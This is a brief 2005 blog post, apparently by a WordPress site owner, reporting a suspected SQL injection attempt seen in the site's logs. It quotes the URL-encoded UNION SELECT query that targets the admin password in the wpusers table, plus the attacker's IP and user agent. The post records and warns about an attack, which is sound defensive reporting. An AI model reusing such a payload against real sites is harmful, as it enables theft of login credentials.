I dunno about you, but this sure as heck looks like a MySQL hack attempt…

/?search=%20UNION%20ALL%20SELECT%201,1,1,1,userpass,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20wpusers%20WHERE%20user_login%20=%20′admin’/*

the rest of the log looked like the following with the dude crawling my site for a bit before doing his deed, note the user agent.

IP Address: 211.5.160.52
Http Code: 200 Date: May 10 20:18:27 Http Version: HTTP/1.0 Size in Bytes: 21743
Referer: -
Agent: Metscope/6.0 (CP/M; 7-bit)

This entry was posted on Wednesday, May 11th, 2005 at 12:28 am and is filed under General. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.